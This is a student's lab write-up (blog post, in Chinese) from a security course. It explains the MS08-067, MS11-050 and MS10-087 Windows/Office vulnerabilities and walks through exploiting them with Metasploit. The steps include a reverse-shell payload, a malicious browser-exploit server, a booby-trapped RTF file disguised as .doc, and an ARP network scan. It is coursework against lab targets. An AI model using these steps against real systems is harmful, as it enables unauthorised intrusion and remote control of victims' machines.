20145218张晓涵_Exp5 MSF基础应用

20145218张晓涵_Exp5 MSF基础应用

实验原理

MS08-067漏洞描述

  • MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。在Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码,此漏洞可用于进行蠕虫攻击,目前已经有利用该漏洞的蠕虫病毒。防火墙最佳做法和标准的默认防火墙配置,有助于保护网络资源免受从企业外部发起的攻击,默认情况下能建立空连接。
  • 如果用户在受影响的系统上收到特制的 RPC 请求,则MS08-067漏洞可能允许远程执行代码。 在Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可能未经身份验证即可利用MS08-067漏洞运行任意代码。 MS08-067漏洞可能用于进行蠕虫攻击。
  • MS08_067漏洞攻击原理是攻击者利用受害者主机默认开放的SMB服务端口445,发送恶意资料到该端口,通过MSRPC接口调用Server服务的一个函数,并破坏程序的栈缓冲区,获得远程代码执行(Remote Code Execution)权限,从而完全控制主机。

MS11-050漏洞

  • 利用浏览器MSHTML模块在处理无效的object标签存在的Use-after-Free,具体原理利用了堆喷射技术。
  • 攻击者利用漏洞在堆区申请大量充满空指令的内存块,每个内存块都尾随shellcode,然后,在溢出时,根据内存块总体大小,修改溢出后的返回地址到这个堆区。此时空指令占了绝大多数,所以一般情况下,修改后的返回地址会在空指令区,再通过执行控指令滑到shellcode。

MS10-087漏洞

  • SEH(Structured Exception Handling)亦即结构化异常处理,是Windows操作系统提供处理程序错误或异常的机制。MS10-087渗透攻击模块中描述目标的Target信息,针对MOS2003 SP3 English on Windows XP SP3English靶机目标环境,定义了两个变量参数:Offsets偏移量为“[24580,51156]”,表示24580~51156的范围集合。Ret返回地址指向0x30001bdd地址,在名为winword.exe的Word进程中,这一地址开始的指令应为一段“POP/POP/RET”模式的指令。包含Shellcode的变量sploit被填充至名为pFragments的属性参数中,此变量过长导致了缓冲区溢出。
  • 这次实验中,产生漏洞的原因是Office程序在处理某些特殊构造RTF文件时,相应解析程序在处理一个名为pFragments的参数时存在栈缓冲区溢出错误,导致异常发生。RTF文件属于Office软件中Word应用程序处理的文件格式。一个后缀名为rtf的文件在改为doc后不影响其使用。所以,用户收到这样一个恶意构造的RTF文件之后,从外观上无法找出与正常Word文件的区别。该漏洞几乎影响所有版本的Office软件。

实践过程

MS08-067漏洞

  • 进入sfconsole控制台msfconsole

  • 在msf模式下查找与其相关的漏洞攻击程序,search ms08_067,可以看到exploit/windows/smb/ms08_067_netapi的信息

  • 输入命令使用该漏洞攻击程序use exploit/windows/smb/ms08_067_netapi

  • 现在,我们已经可以驾驭使用"ms08_067_netapi"这个漏洞攻击程序了,接下来要查找一下metasploit下的有效攻击荷载show payloads

  • 找到我们想要用的payload后,使用下述命令设置payloadset payload generic/shell_reverse_tcp

  • 使用show options查看该payload的状态,show targets查看可以使用的攻击类型

  • 设置RHOST和LHOST和target,并使用show options再次查看payload的状态

set RHOST “目标主机的ip”
set LHOST “监听主机的ip”
set target 0
show options
  • 使用exploit进行攻击

MS11-050漏洞

  • 输入命令使用该漏洞攻击程序use windows/browser/ms11_050_mshtml_cobjectelement

  • 查看ms11050漏洞信息info,可以看到攻击范围,一定要确认所攻击的浏览器具这个漏洞才可以攻击成功。

  • 按照下图命令设置载荷和地址、端口,然后exploit

  • 靶机浏览器地址栏输入http://LHOST:8080/ms11050然后蹦乱码就成功了。(靶机自己带的IE应该是不可以,自己要重新从网上下一个ie7 )

  • 然后回到攻击机可以看到一直发送exploit,之后等他停下来的时候就可以获取sessions

MS10-087漏洞

  • 按照下图命令配置

  • 去标黄目录里把生成的.Rft文件拷出来到靶机中,将后缀名改成.doc,然后运行

  • 如果找不到文件就用简单粗暴的办法

应用辅助模块

  • 创建msf所需的数据库service postgresql start msfdb start
  • 启动msf
  • 输入命令进入模块use auxiliary/scanner/discovery/arp_sweep
  • 按照如下命令设置
set RHOST 192.168.29.0/24(查看自己电脑的网段)
run
  • show options一下,查看设置成功

  • 开启扫描发现了别的ip地址,试了一下,发现能ping通192.168.29.2

  • 用nmap进行扫描

实验后回答问题

  • exploit就是扛着炸 药包的运载工具,利用可攻击的漏洞,把payload这个炸弹给运过去,encode就是其伪装,为了使它俩不被认出来。

实验感想

这次实验唯一的感想就是,我的电脑太慢了,然后写了一晚上的博客最后生生的被卡死的电脑抹掉了,赶在图书馆赶我的最后一刻上交的博客,这是一晚上跟各种问题,各种卡顿奋斗的胜利结果!实在受不了了,打算更换内存条,希望下次可以不要因为卡浪费那么多时间。

posted @ 2017-04-11 22:20  20145218  阅读(389)  评论(0编辑  收藏  举报